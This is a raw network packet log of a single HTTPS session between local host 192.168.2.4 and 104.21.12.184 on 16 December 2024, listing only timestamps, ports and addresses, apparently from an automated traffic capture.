Dec 16, 2024 21:02:23.210680008 CET	443	49774	104.21.12.184	192.168.2.4
Dec 16, 2024 21:02:23.210728884 CET	49774	443	192.168.2.4	104.21.12.184
Dec 16, 2024 21:02:23.210745096 CET	443	49774	104.21.12.184	192.168.2.4
Dec 16, 2024 21:02:23.210771084 CET	49774	443	192.168.2.4	104.21.12.184
Dec 16, 2024 21:02:23.211182117 CET	49774	443	192.168.2.4	104.21.12.184
Dec 16, 2024 21:02:23.217911005 CET	443	49774	104.21.12.184	192.168.2.4
Dec 16, 2024 21:02:23.217931032 CET	443	49774	104.21.12.184	192.168.2.4
Dec 16, 2024 21:02:23.217967033 CET	49774	443	192.168.2.4	104.21.12.184
Dec 16, 2024 21:02:23.217977047 CET	443	49774	104.21.12.184	192.168.2.4
Dec 16, 2024 21:02:23.218005896 CET	49774	443	192.168.2.4	104.21.12.184
Dec 16, 2024 21:02:23.218024969 CET	49774	443	192.168.2.4	104.21.12.184
Dec 16, 2024 21:02:23.225025892 CET	443	49774	104.21.12.184	192.168.2.4
Dec 16, 2024 21:02:23.225047112 CET	443	49774	104.21.12.184	192.168.2.4
Dec 16, 2024 21:02:23.225090981 CET	49774	443	192.168.2.4	104.21.12.184
Dec 16, 2024 21:02:23.225116014 CET	443	49774	104.21.12.184	192.168.2.4
Dec 16, 2024 21:02:23.225146055 CET	49774	443	192.168.2.4	104.21.12.184
Dec 16, 2024 21:02:23.225164890 CET	49774	443	192.168.2.4	104.21.12.184
Dec 16, 2024 21:02:23.232419014 CET	443	49774	104.21.12.184	192.168.2.4
Dec 16, 2024 21:02:23.232439041 CET	443	49774	104.21.12.184	192.168.2.4
Dec 16, 2024 21:02:23.232589006 CET	49774	443	192.168.2.4	104.21.12.184
Dec 16, 2024 21:02:23.232603073 CET	443	49774	104.21.12.184	192.168.2.4
Dec 16, 2024 21:02:23.233118057 CET	49774	443	192.168.2.4	104.21.12.184
Dec 16, 2024 21:02:23.238962889 CET	443	49774	104.21.12.184	192.168.2.4
Dec 16, 2024 21:02:23.238981962 CET	443	49774	104.21.12.184	192.168.2.4
Dec 16, 2024 21:02:23.239037037 CET	49774	443	192.168.2.4	104.21.12.184
Dec 16, 2024 21:02:23.239053965 CET	443	49774	104.21.12.184	192.168.2.4
Dec 16, 2024 21:02:23.239085913 CET	49774	443	192.168.2.4	104.21.12.184
Dec 16, 2024 21:02:23.239105940 CET	49774	443	192.168.2.4	104.21.12.184
Dec 16, 2024 21:02:23.397681952 CET	443	49774	104.21.12.184	192.168.2.4
Dec 16, 2024 21:02:23.397702932 CET	443	49774	104.21.12.184	192.168.2.4
Dec 16, 2024 21:02:23.397752047 CET	49774	443	192.168.2.4	104.21.12.184
Dec 16, 2024 21:02:23.397777081 CET	443	49774	104.21.12.184	192.168.2.4
Dec 16, 2024 21:02:23.397804022 CET	49774	443	192.168.2.4	104.21.12.184
Dec 16, 2024 21:02:23.397824049 CET	49774	443	192.168.2.4	104.21.12.184
Dec 16, 2024 21:02:23.404248953 CET	443	49774	104.21.12.184	192.168.2.4
Dec 16, 2024 21:02:23.404268026 CET	443	49774	104.21.12.184	192.168.2.4
Dec 16, 2024 21:02:23.404318094 CET	49774	443	192.168.2.4	104.21.12.184
Dec 16, 2024 21:02:23.404331923 CET	443	49774	104.21.12.184	192.168.2.4
Dec 16, 2024 21:02:23.404356956 CET	49774	443	192.168.2.4	104.21.12.184
Dec 16, 2024 21:02:23.404376030 CET	49774	443	192.168.2.4	104.21.12.184
Dec 16, 2024 21:02:23.412417889 CET	443	49774	104.21.12.184	192.168.2.4
Dec 16, 2024 21:02:23.412439108 CET	443	49774	104.21.12.184	192.168.2.4
Dec 16, 2024 21:02:23.412509918 CET	49774	443	192.168.2.4	104.21.12.184
Dec 16, 2024 21:02:23.412528038 CET	443	49774	104.21.12.184	192.168.2.4
Dec 16, 2024 21:02:23.412688017 CET	49774	443	192.168.2.4	104.21.12.184
Dec 16, 2024 21:02:23.418962002 CET	443	49774	104.21.12.184	192.168.2.4
Dec 16, 2024 21:02:23.418983936 CET	443	49774	104.21.12.184	192.168.2.4
Dec 16, 2024 21:02:23.419044018 CET	49774	443	192.168.2.4	104.21.12.184
Dec 16, 2024 21:02:23.419055939 CET	443	49774	104.21.12.184	192.168.2.4
Dec 16, 2024 21:02:23.419085026 CET	49774	443	192.168.2.4	104.21.12.184
Dec 16, 2024 21:02:23.419106007 CET	49774	443	192.168.2.4	104.21.12.184
Dec 16, 2024 21:02:23.425441980 CET	443	49774	104.21.12.184	192.168.2.4
Dec 16, 2024 21:02:23.425460100 CET	443	49774	104.21.12.184	192.168.2.4
Dec 16, 2024 21:02:23.425515890 CET	49774	443	192.168.2.4	104.21.12.184
Dec 16, 2024 21:02:23.425529003 CET	443	49774	104.21.12.184	192.168.2.4
Dec 16, 2024 21:02:23.425555944 CET	49774	443	192.168.2.4	104.21.12.184
Dec 16, 2024 21:02:23.425576925 CET	49774	443	192.168.2.4	104.21.12.184
Dec 16, 2024 21:02:23.433588982 CET	443	49774	104.21.12.184	192.168.2.4
Dec 16, 2024 21:02:23.433607101 CET	443	49774	104.21.12.184	192.168.2.4
Dec 16, 2024 21:02:23.433662891 CET	49774	443	192.168.2.4	104.21.12.184
Dec 16, 2024 21:02:23.433674097 CET	443	49774	104.21.12.184	192.168.2.4
Dec 16, 2024 21:02:23.433701992 CET	49774	443	192.168.2.4	104.21.12.184
Dec 16, 2024 21:02:23.433720112 CET	49774	443	192.168.2.4	104.21.12.184
Dec 16, 2024 21:02:23.440305948 CET	443	49774	104.21.12.184	192.168.2.4
Dec 16, 2024 21:02:23.440325975 CET	443	49774	104.21.12.184	192.168.2.4
Dec 16, 2024 21:02:23.440366030 CET	49774	443	192.168.2.4	104.21.12.184
Dec 16, 2024 21:02:23.440376997 CET	443	49774	104.21.12.184	192.168.2.4
Dec 16, 2024 21:02:23.440404892 CET	49774	443	192.168.2.4	104.21.12.184
Dec 16, 2024 21:02:23.440424919 CET	49774	443	192.168.2.4	104.21.12.184
Dec 16, 2024 21:02:23.447129011 CET	443	49774	104.21.12.184	192.168.2.4
Dec 16, 2024 21:02:23.447148085 CET	443	49774	104.21.12.184	192.168.2.4
Dec 16, 2024 21:02:23.447189093 CET	49774	443	192.168.2.4	104.21.12.184
Dec 16, 2024 21:02:23.447201014 CET	443	49774	104.21.12.184	192.168.2.4
Dec 16, 2024 21:02:23.447227955 CET	49774	443	192.168.2.4	104.21.12.184
Dec 16, 2024 21:02:23.447247982 CET	49774	443	192.168.2.4	104.21.12.184
Dec 16, 2024 21:02:23.590070963 CET	443	49774	104.21.12.184	192.168.2.4
Dec 16, 2024 21:02:23.590091944 CET	443	49774	104.21.12.184	192.168.2.4
Dec 16, 2024 21:02:23.590163946 CET	49774	443	192.168.2.4	104.21.12.184
Dec 16, 2024 21:02:23.590187073 CET	443	49774	104.21.12.184	192.168.2.4
Dec 16, 2024 21:02:23.590215921 CET	49774	443	192.168.2.4	104.21.12.184
Dec 16, 2024 21:02:23.590239048 CET	49774	443	192.168.2.4	104.21.12.184
Dec 16, 2024 21:02:23.596570015 CET	443	49774	104.21.12.184	192.168.2.4
Dec 16, 2024 21:02:23.596589088 CET	443	49774	104.21.12.184	192.168.2.4
Dec 16, 2024 21:02:23.596657991 CET	49774	443	192.168.2.4	104.21.12.184
Dec 16, 2024 21:02:23.596671104 CET	443	49774	104.21.12.184	192.168.2.4
Dec 16, 2024 21:02:23.596744061 CET	49774	443	192.168.2.4	104.21.12.184
Dec 16, 2024 21:02:23.603894949 CET	443	49774	104.21.12.184	192.168.2.4
Dec 16, 2024 21:02:23.603913069 CET	443	49774	104.21.12.184	192.168.2.4
Dec 16, 2024 21:02:23.603959084 CET	49774	443	192.168.2.4	104.21.12.184
Dec 16, 2024 21:02:23.603970051 CET	443	49774	104.21.12.184	192.168.2.4
Dec 16, 2024 21:02:23.603998899 CET	49774	443	192.168.2.4	104.21.12.184
Dec 16, 2024 21:02:23.604016066 CET	49774	443	192.168.2.4	104.21.12.184
Dec 16, 2024 21:02:23.611263990 CET	443	49774	104.21.12.184	192.168.2.4
Dec 16, 2024 21:02:23.611282110 CET	443	49774	104.21.12.184	192.168.2.4
Dec 16, 2024 21:02:23.611351013 CET	49774	443	192.168.2.4	104.21.12.184
Dec 16, 2024 21:02:23.611361980 CET	443	49774	104.21.12.184	192.168.2.4
Dec 16, 2024 21:02:23.611485958 CET	49774	443	192.168.2.4	104.21.12.184
Dec 16, 2024 21:02:23.618865967 CET	443	49774	104.21.12.184	192.168.2.4
Dec 16, 2024 21:02:23.618886948 CET	443	49774	104.21.12.184	192.168.2.4
Dec 16, 2024 21:02:23.618949890 CET	49774	443	192.168.2.4	104.21.12.184
Dec 16, 2024 21:02:23.618967056 CET	443	49774	104.21.12.184	192.168.2.4
Dec 16, 2024 21:02:23.619149923 CET	49774	443	192.168.2.4	104.21.12.184
Dec 16, 2024 21:02:23.625616074 CET	443	49774	104.21.12.184	192.168.2.4
Dec 16, 2024 21:02:23.625634909 CET	443	49774	104.21.12.184	192.168.2.4
Dec 16, 2024 21:02:23.625690937 CET	49774	443	192.168.2.4	104.21.12.184
Dec 16, 2024 21:02:23.625701904 CET	443	49774	104.21.12.184	192.168.2.4
Dec 16, 2024 21:02:23.625804901 CET	49774	443	192.168.2.4	104.21.12.184
Dec 16, 2024 21:02:23.632009029 CET	443	49774	104.21.12.184	192.168.2.4
Dec 16, 2024 21:02:23.632029057 CET	443	49774	104.21.12.184	192.168.2.4
Dec 16, 2024 21:02:23.632076025 CET	49774	443	192.168.2.4	104.21.12.184
Dec 16, 2024 21:02:23.632086992 CET	443	49774	104.21.12.184	192.168.2.4
Dec 16, 2024 21:02:23.632114887 CET	49774	443	192.168.2.4	104.21.12.184
Dec 16, 2024 21:02:23.632139921 CET	49774	443	192.168.2.4	104.21.12.184
Dec 16, 2024 21:02:23.639518976 CET	443	49774	104.21.12.184	192.168.2.4
Dec 16, 2024 21:02:23.639537096 CET	443	49774	104.21.12.184	192.168.2.4
Dec 16, 2024 21:02:23.639591932 CET	49774	443	192.168.2.4	104.21.12.184
Dec 16, 2024 21:02:23.639601946 CET	443	49774	104.21.12.184	192.168.2.4
Dec 16, 2024 21:02:23.639630079 CET	49774	443	192.168.2.4	104.21.12.184
Dec 16, 2024 21:02:23.639650106 CET	49774	443	192.168.2.4	104.21.12.184
Dec 16, 2024 21:02:23.781990051 CET	443	49774	104.21.12.184	192.168.2.4
Dec 16, 2024 21:02:23.782010078 CET	443	49774	104.21.12.184	192.168.2.4
Dec 16, 2024 21:02:23.782080889 CET	49774	443	192.168.2.4	104.21.12.184
Dec 16, 2024 21:02:23.782102108 CET	443	49774	104.21.12.184	192.168.2.4
Dec 16, 2024 21:02:23.782129049 CET	49774	443	192.168.2.4	104.21.12.184
Dec 16, 2024 21:02:23.782145977 CET	49774	443	192.168.2.4	104.21.12.184
Dec 16, 2024 21:02:23.789433956 CET	443	49774	104.21.12.184	192.168.2.4
Dec 16, 2024 21:02:23.789457083 CET	443	49774	104.21.12.184	192.168.2.4
Dec 16, 2024 21:02:23.789535046 CET	49774	443	192.168.2.4	104.21.12.184
Dec 16, 2024 21:02:23.789546967 CET	443	49774	104.21.12.184	192.168.2.4
Dec 16, 2024 21:02:23.789572954 CET	49774	443	192.168.2.4	104.21.12.184
Dec 16, 2024 21:02:23.789588928 CET	49774	443	192.168.2.4	104.21.12.184
Dec 16, 2024 21:02:23.796037912 CET	443	49774	104.21.12.184	192.168.2.4
Dec 16, 2024 21:02:23.796058893 CET	443	49774	104.21.12.184	192.168.2.4
Dec 16, 2024 21:02:23.796116114 CET	49774	443	192.168.2.4	104.21.12.184
Dec 16, 2024 21:02:23.796129942 CET	443	49774	104.21.12.184	192.168.2.4
Dec 16, 2024 21:02:23.796154976 CET	49774	443	192.168.2.4	104.21.12.184
Dec 16, 2024 21:02:23.796281099 CET	49774	443	192.168.2.4	104.21.12.184
Dec 16, 2024 21:02:23.803407907 CET	443	49774	104.21.12.184	192.168.2.4
Dec 16, 2024 21:02:23.803426027 CET	443	49774	104.21.12.184	192.168.2.4
Dec 16, 2024 21:02:23.803510904 CET	49774	443	192.168.2.4	104.21.12.184
Dec 16, 2024 21:02:23.803524971 CET	443	49774	104.21.12.184	192.168.2.4
Dec 16, 2024 21:02:23.803550959 CET	49774	443	192.168.2.4	104.21.12.184
Dec 16, 2024 21:02:23.803567886 CET	49774	443	192.168.2.4	104.21.12.184
Dec 16, 2024 21:02:23.810664892 CET	443	49774	104.21.12.184	192.168.2.4
Dec 16, 2024 21:02:23.810687065 CET	443	49774	104.21.12.184	192.168.2.4
Dec 16, 2024 21:02:23.810745955 CET	49774	443	192.168.2.4	104.21.12.184
Dec 16, 2024 21:02:23.810756922 CET	443	49774	104.21.12.184	192.168.2.4
Dec 16, 2024 21:02:23.810957909 CET	49774	443	192.168.2.4	104.21.12.184
Dec 16, 2024 21:02:23.817531109 CET	443	49774	104.21.12.184	192.168.2.4
Dec 16, 2024 21:02:23.817552090 CET	443	49774	104.21.12.184	192.168.2.4
Dec 16, 2024 21:02:23.817608118 CET	49774	443	192.168.2.4	104.21.12.184
Dec 16, 2024 21:02:23.817625999 CET	443	49774	104.21.12.184	192.168.2.4
Dec 16, 2024 21:02:23.817715883 CET	49774	443	192.168.2.4	104.21.12.184
Dec 16, 2024 21:02:23.825023890 CET	443	49774	104.21.12.184	192.168.2.4
Dec 16, 2024 21:02:23.825043917 CET	443	49774	104.21.12.184	192.168.2.4
Dec 16, 2024 21:02:23.825092077 CET	49774	443	192.168.2.4	104.21.12.184
Dec 16, 2024 21:02:23.825102091 CET	443	49774	104.21.12.184	192.168.2.4
Dec 16, 2024 21:02:23.825129986 CET	49774	443	192.168.2.4	104.21.12.184
Dec 16, 2024 21:02:23.825169086 CET	49774	443	192.168.2.4	104.21.12.184
Dec 16, 2024 21:02:23.831464052 CET	443	49774	104.21.12.184	192.168.2.4
Dec 16, 2024 21:02:23.831485033 CET	443	49774	104.21.12.184	192.168.2.4
Dec 16, 2024 21:02:23.831530094 CET	49774	443	192.168.2.4	104.21.12.184
Dec 16, 2024 21:02:23.831542969 CET	443	49774	104.21.12.184	192.168.2.4
Dec 16, 2024 21:02:23.831568956 CET	49774	443	192.168.2.4	104.21.12.184
Dec 16, 2024 21:02:23.831593037 CET	49774	443	192.168.2.4	104.21.12.184
Dec 16, 2024 21:02:23.990955114 CET	443	49774	104.21.12.184	192.168.2.4
Dec 16, 2024 21:02:23.990974903 CET	443	49774	104.21.12.184	192.168.2.4
Dec 16, 2024 21:02:23.991023064 CET	49774	443	192.168.2.4	104.21.12.184
Dec 16, 2024 21:02:23.991036892 CET	443	49774	104.21.12.184	192.168.2.4
Dec 16, 2024 21:02:23.991066933 CET	49774	443	192.168.2.4	104.21.12.184
Dec 16, 2024 21:02:23.991096973 CET	49774	443	192.168.2.4	104.21.12.184
Dec 16, 2024 21:02:23.998433113 CET	443	49774	104.21.12.184	192.168.2.4
Dec 16, 2024 21:02:23.998450041 CET	443	49774	104.21.12.184	192.168.2.4
Dec 16, 2024 21:02:23.998495102 CET	49774	443	192.168.2.4	104.21.12.184
Dec 16, 2024 21:02:23.998506069 CET	443	49774	104.21.12.184	192.168.2.4
Dec 16, 2024 21:02:23.998533010 CET	49774	443	192.168.2.4	104.21.12.184
Dec 16, 2024 21:02:23.998553038 CET	49774	443	192.168.2.4	104.21.12.184
Dec 16, 2024 21:02:24.005790949 CET	443	49774	104.21.12.184	192.168.2.4
Dec 16, 2024 21:02:24.005810022 CET	443	49774	104.21.12.184	192.168.2.4
Dec 16, 2024 21:02:24.005860090 CET	49774	443	192.168.2.4	104.21.12.184
Dec 16, 2024 21:02:24.005872011 CET	443	49774	104.21.12.184	192.168.2.4
Dec 16, 2024 21:02:24.005975008 CET	49774	443	192.168.2.4	104.21.12.184
Dec 16, 2024 21:02:24.012079954 CET	443	49774	104.21.12.184	192.168.2.4
Dec 16, 2024 21:02:24.012098074 CET	443	49774	104.21.12.184	192.168.2.4
Dec 16, 2024 21:02:24.012160063 CET	49774	443	192.168.2.4	104.21.12.184
Dec 16, 2024 21:02:24.012173891 CET	443	49774	104.21.12.184	192.168.2.4
Dec 16, 2024 21:02:24.012321949 CET	49774	443	192.168.2.4	104.21.12.184
Dec 16, 2024 21:02:24.019957066 CET	443	49774	104.21.12.184	192.168.2.4
Dec 16, 2024 21:02:24.019977093 CET	443	49774	104.21.12.184	192.168.2.4
Dec 16, 2024 21:02:24.020028114 CET	49774	443	192.168.2.4	104.21.12.184
Dec 16, 2024 21:02:24.020066977 CET	443	49774	104.21.12.184	192.168.2.4
Dec 16, 2024 21:02:24.020102978 CET	49774	443	192.168.2.4	104.21.12.184
Dec 16, 2024 21:02:24.020235062 CET	49774	443	192.168.2.4	104.21.12.184
Dec 16, 2024 21:02:24.026993036 CET	443	49774	104.21.12.184	192.168.2.4
Dec 16, 2024 21:02:24.027014017 CET	443	49774	104.21.12.184	192.168.2.4
Dec 16, 2024 21:02:24.027061939 CET	49774	443	192.168.2.4	104.21.12.184
Dec 16, 2024 21:02:24.027086973 CET	443	49774	104.21.12.184	192.168.2.4
Dec 16, 2024 21:02:24.027112007 CET	49774	443	192.168.2.4	104.21.12.184
Dec 16, 2024 21:02:24.027132988 CET	49774	443	192.168.2.4	104.21.12.184
Dec 16, 2024 21:02:24.033843994 CET	443	49774	104.21.12.184	192.168.2.4
Dec 16, 2024 21:02:24.033862114 CET	443	49774	104.21.12.184	192.168.2.4
Dec 16, 2024 21:02:24.033907890 CET	49774	443	192.168.2.4	104.21.12.184
Dec 16, 2024 21:02:24.033926010 CET	443	49774	104.21.12.184	192.168.2.4
Dec 16, 2024 21:02:24.033950090 CET	49774	443	192.168.2.4	104.21.12.184
Dec 16, 2024 21:02:24.033972025 CET	49774	443	192.168.2.4	104.21.12.184
Dec 16, 2024 21:02:24.041189909 CET	443	49774	104.21.12.184	192.168.2.4
Dec 16, 2024 21:02:24.041208982 CET	443	49774	104.21.12.184	192.168.2.4
Dec 16, 2024 21:02:24.041258097 CET	49774	443	192.168.2.4	104.21.12.184
Dec 16, 2024 21:02:24.041270971 CET	443	49774	104.21.12.184	192.168.2.4
Dec 16, 2024 21:02:24.041296005 CET	49774	443	192.168.2.4	104.21.12.184
Dec 16, 2024 21:02:24.041316032 CET	49774	443	192.168.2.4	104.21.12.184
Dec 16, 2024 21:02:24.183748007 CET	443	49774	104.21.12.184	192.168.2.4
Dec 16, 2024 21:02:24.183773994 CET	443	49774	104.21.12.184	192.168.2.4
Dec 16, 2024 21:02:24.183845043 CET	49774	443	192.168.2.4	104.21.12.184
Dec 16, 2024 21:02:24.183871031 CET	443	49774	104.21.12.184	192.168.2.4
Dec 16, 2024 21:02:24.183900118 CET	49774	443	192.168.2.4	104.21.12.184
Dec 16, 2024 21:02:24.184096098 CET	49774	443	192.168.2.4	104.21.12.184
Dec 16, 2024 21:02:24.190735102 CET	443	49774	104.21.12.184	192.168.2.4
Dec 16, 2024 21:02:24.190754890 CET	443	49774	104.21.12.184	192.168.2.4
Dec 16, 2024 21:02:24.190830946 CET	49774	443	192.168.2.4	104.21.12.184
Dec 16, 2024 21:02:24.190844059 CET	443	49774	104.21.12.184	192.168.2.4
Dec 16, 2024 21:02:24.190903902 CET	49774	443	192.168.2.4	104.21.12.184
Dec 16, 2024 21:02:24.197751999 CET	443	49774	104.21.12.184	192.168.2.4
Dec 16, 2024 21:02:24.197768927 CET	443	49774	104.21.12.184	192.168.2.4
Dec 16, 2024 21:02:24.197817087 CET	49774	443	192.168.2.4	104.21.12.184
Dec 16, 2024 21:02:24.197829008 CET	443	49774	104.21.12.184	192.168.2.4
Dec 16, 2024 21:02:24.197861910 CET	49774	443	192.168.2.4	104.21.12.184
Dec 16, 2024 21:02:24.197881937 CET	49774	443	192.168.2.4	104.21.12.184
Dec 16, 2024 21:02:24.205085993 CET	443	49774	104.21.12.184	192.168.2.4
Dec 16, 2024 21:02:24.205106020 CET	443	49774	104.21.12.184	192.168.2.4
Dec 16, 2024 21:02:24.205146074 CET	49774	443	192.168.2.4	104.21.12.184
Dec 16, 2024 21:02:24.205157995 CET	443	49774	104.21.12.184	192.168.2.4
Dec 16, 2024 21:02:24.205184937 CET	49774	443	192.168.2.4	104.21.12.184
Dec 16, 2024 21:02:24.205202103 CET	49774	443	192.168.2.4	104.21.12.184
Dec 16, 2024 21:02:24.211980104 CET	443	49774	104.21.12.184	192.168.2.4
Dec 16, 2024 21:02:24.212012053 CET	443	49774	104.21.12.184	192.168.2.4
Dec 16, 2024 21:02:24.212049961 CET	49774	443	192.168.2.4	104.21.12.184
Dec 16, 2024 21:02:24.212060928 CET	443	49774	104.21.12.184	192.168.2.4
Dec 16, 2024 21:02:24.212088108 CET	49774	443	192.168.2.4	104.21.12.184
Dec 16, 2024 21:02:24.212120056 CET	49774	443	192.168.2.4	104.21.12.184
Dec 16, 2024 21:02:24.219362020 CET	443	49774	104.21.12.184	192.168.2.4
Dec 16, 2024 21:02:24.219387054 CET	443	49774	104.21.12.184	192.168.2.4
Dec 16, 2024 21:02:24.219428062 CET	49774	443	192.168.2.4	104.21.12.184
Dec 16, 2024 21:02:24.219440937 CET	443	49774	104.21.12.184	192.168.2.4
Dec 16, 2024 21:02:24.219465971 CET	49774	443	192.168.2.4	104.21.12.184
Dec 16, 2024 21:02:24.219485998 CET	49774	443	192.168.2.4	104.21.12.184
Dec 16, 2024 21:02:24.225826025 CET	443	49774	104.21.12.184	192.168.2.4
Dec 16, 2024 21:02:24.225848913 CET	443	49774	104.21.12.184	192.168.2.4
Dec 16, 2024 21:02:24.225903988 CET	49774	443	192.168.2.4	104.21.12.184
Dec 16, 2024 21:02:24.225923061 CET	443	49774	104.21.12.184	192.168.2.4
Dec 16, 2024 21:02:24.225951910 CET	49774	443	192.168.2.4	104.21.12.184
Dec 16, 2024 21:02:24.225972891 CET	49774	443	192.168.2.4	104.21.12.184
Dec 16, 2024 21:02:24.233269930 CET	443	49774	104.21.12.184	192.168.2.4
Dec 16, 2024 21:02:24.233289003 CET	443	49774	104.21.12.184	192.168.2.4
Dec 16, 2024 21:02:24.233331919 CET	49774	443	192.168.2.4	104.21.12.184
Dec 16, 2024 21:02:24.233345032 CET	443	49774	104.21.12.184	192.168.2.4
Dec 16, 2024 21:02:24.233369112 CET	49774	443	192.168.2.4	104.21.12.184
Dec 16, 2024 21:02:24.233388901 CET	49774	443	192.168.2.4	104.21.12.184
Dec 16, 2024 21:02:24.375401020 CET	443	49774	104.21.12.184	192.168.2.4
Dec 16, 2024 21:02:24.375433922 CET	443	49774	104.21.12.184	192.168.2.4
Dec 16, 2024 21:02:24.375540972 CET	49774	443	192.168.2.4	104.21.12.184
Dec 16, 2024 21:02:24.375602961 CET	443	49774	104.21.12.184	192.168.2.4
Dec 16, 2024 21:02:24.375893116 CET	49774	443	192.168.2.4	104.21.12.184
Dec 16, 2024 21:02:24.382781029 CET	443	49774	104.21.12.184	192.168.2.4
Dec 16, 2024 21:02:24.382801056 CET	443	49774	104.21.12.184	192.168.2.4
Dec 16, 2024 21:02:24.382865906 CET	49774	443	192.168.2.4	104.21.12.184
Dec 16, 2024 21:02:24.382880926 CET	443	49774	104.21.12.184	192.168.2.4
Dec 16, 2024 21:02:24.383038044 CET	49774	443	192.168.2.4	104.21.12.184
Dec 16, 2024 21:02:24.390134096 CET	443	49774	104.21.12.184	192.168.2.4
Dec 16, 2024 21:02:24.390156984 CET	443	49774	104.21.12.184	192.168.2.4
Dec 16, 2024 21:02:24.390254021 CET	49774	443	192.168.2.4	104.21.12.184
Dec 16, 2024 21:02:24.390266895 CET	443	49774	104.21.12.184	192.168.2.4
Dec 16, 2024 21:02:24.390328884 CET	49774	443	192.168.2.4	104.21.12.184
Dec 16, 2024 21:02:24.396574974 CET	443	49774	104.21.12.184	192.168.2.4
Dec 16, 2024 21:02:24.396593094 CET	443	49774	104.21.12.184	192.168.2.4
Dec 16, 2024 21:02:24.396666050 CET	49774	443	192.168.2.4	104.21.12.184
Dec 16, 2024 21:02:24.396696091 CET	443	49774	104.21.12.184	192.168.2.4
Dec 16, 2024 21:02:24.396861076 CET	49774	443	192.168.2.4	104.21.12.184
Dec 16, 2024 21:02:24.404361010 CET	443	49774	104.21.12.184	192.168.2.4
Dec 16, 2024 21:02:24.404380083 CET	443	49774	104.21.12.184	192.168.2.4
Dec 16, 2024 21:02:24.404445887 CET	49774	443	192.168.2.4	104.21.12.184
Dec 16, 2024 21:02:24.404458046 CET	443	49774	104.21.12.184	192.168.2.4
Dec 16, 2024 21:02:24.404598951 CET	49774	443	192.168.2.4	104.21.12.184
Dec 16, 2024 21:02:24.411254883 CET	443	49774	104.21.12.184	192.168.2.4
Dec 16, 2024 21:02:24.411273956 CET	443	49774	104.21.12.184	192.168.2.4
Dec 16, 2024 21:02:24.411345005 CET	49774	443	192.168.2.4	104.21.12.184
Dec 16, 2024 21:02:24.411356926 CET	443	49774	104.21.12.184	192.168.2.4
Dec 16, 2024 21:02:24.411514997 CET	49774	443	192.168.2.4	104.21.12.184
Dec 16, 2024 21:02:24.418488026 CET	443	49774	104.21.12.184	192.168.2.4
Dec 16, 2024 21:02:24.418564081 CET	443	49774	104.21.12.184	192.168.2.4
Dec 16, 2024 21:02:24.418577909 CET	49774	443	192.168.2.4	104.21.12.184
Dec 16, 2024 21:02:24.418593884 CET	443	49774	104.21.12.184	192.168.2.4
Dec 16, 2024 21:02:24.418626070 CET	49774	443	192.168.2.4	104.21.12.184
Dec 16, 2024 21:02:24.418648958 CET	49774	443	192.168.2.4	104.21.12.184
Dec 16, 2024 21:02:24.425890923 CET	443	49774	104.21.12.184	192.168.2.4
Dec 16, 2024 21:02:24.425935030 CET	443	49774	104.21.12.184	192.168.2.4
Dec 16, 2024 21:02:24.426109076 CET	49774	443	192.168.2.4	104.21.12.184
Dec 16, 2024 21:02:24.426109076 CET	49774	443	192.168.2.4	104.21.12.184
Dec 16, 2024 21:02:24.426153898 CET	443	49774	104.21.12.184	192.168.2.4
Dec 16, 2024 21:02:24.426369905 CET	49774	443	192.168.2.4	104.21.12.184
Dec 16, 2024 21:02:24.567991972 CET	443	49774	104.21.12.184	192.168.2.4
Dec 16, 2024 21:02:24.568016052 CET	443	49774	104.21.12.184	192.168.2.4
Dec 16, 2024 21:02:24.568124056 CET	49774	443	192.168.2.4	104.21.12.184
Dec 16, 2024 21:02:24.568171978 CET	443	49774	104.21.12.184	192.168.2.4
Dec 16, 2024 21:02:24.570059061 CET	49774	443	192.168.2.4	104.21.12.184
Dec 16, 2024 21:02:24.575731993 CET	443	49774	104.21.12.184	192.168.2.4
Dec 16, 2024 21:02:24.575751066 CET	443	49774	104.21.12.184	192.168.2.4
Dec 16, 2024 21:02:24.575824022 CET	49774	443	192.168.2.4	104.21.12.184
Dec 16, 2024 21:02:24.575841904 CET	443	49774	104.21.12.184	192.168.2.4
Dec 16, 2024 21:02:24.576097012 CET	49774	443	192.168.2.4	104.21.12.184
Dec 16, 2024 21:02:24.582674026 CET	443	49774	104.21.12.184	192.168.2.4
Dec 16, 2024 21:02:24.582693100 CET	443	49774	104.21.12.184	192.168.2.4
Dec 16, 2024 21:02:24.582767963 CET	49774	443	192.168.2.4	104.21.12.184
Dec 16, 2024 21:02:24.582776070 CET	443	49774	104.21.12.184	192.168.2.4
Dec 16, 2024 21:02:24.582809925 CET	49774	443	192.168.2.4	104.21.12.184
Dec 16, 2024 21:02:24.590101957 CET	443	49774	104.21.12.184	192.168.2.4
Dec 16, 2024 21:02:24.590142965 CET	443	49774	104.21.12.184	192.168.2.4
Dec 16, 2024 21:02:24.590186119 CET	49774	443	192.168.2.4	104.21.12.184
Dec 16, 2024 21:02:24.590193033 CET	443	49774	104.21.12.184	192.168.2.4
Dec 16, 2024 21:02:24.590220928 CET	49774	443	192.168.2.4	104.21.12.184
Dec 16, 2024 21:02:24.590233088 CET	49774	443	192.168.2.4	104.21.12.184
Dec 16, 2024 21:02:24.597116947 CET	443	49774	104.21.12.184	192.168.2.4
Dec 16, 2024 21:02:24.597157955 CET	443	49774	104.21.12.184	192.168.2.4
Dec 16, 2024 21:02:24.597204924 CET	49774	443	192.168.2.4	104.21.12.184
Dec 16, 2024 21:02:24.597218990 CET	443	49774	104.21.12.184	192.168.2.4
Dec 16, 2024 21:02:24.597254038 CET	49774	443	192.168.2.4	104.21.12.184
Dec 16, 2024 21:02:24.597281933 CET	49774	443	192.168.2.4	104.21.12.184
Dec 16, 2024 21:02:24.603566885 CET	443	49774	104.21.12.184	192.168.2.4
Dec 16, 2024 21:02:24.603622913 CET	443	49774	104.21.12.184	192.168.2.4
Dec 16, 2024 21:02:24.603646994 CET	49774	443	192.168.2.4	104.21.12.184
Dec 16, 2024 21:02:24.603655100 CET	443	49774	104.21.12.184	192.168.2.4
Dec 16, 2024 21:02:24.603691101 CET	49774	443	192.168.2.4	104.21.12.184
Dec 16, 2024 21:02:24.610754967 CET	443	49774	104.21.12.184	192.168.2.4
Dec 16, 2024 21:02:24.610802889 CET	443	49774	104.21.12.184	192.168.2.4
Dec 16, 2024 21:02:24.610888004 CET	49774	443	192.168.2.4	104.21.12.184
Dec 16, 2024 21:02:24.610888004 CET	49774	443	192.168.2.4	104.21.12.184
Dec 16, 2024 21:02:24.610908031 CET	443	49774	104.21.12.184	192.168.2.4
Dec 16, 2024 21:02:24.611061096 CET	49774	443	192.168.2.4	104.21.12.184
Dec 16, 2024 21:02:24.618211985 CET	443	49774	104.21.12.184	192.168.2.4
Dec 16, 2024 21:02:24.618257999 CET	443	49774	104.21.12.184	192.168.2.4
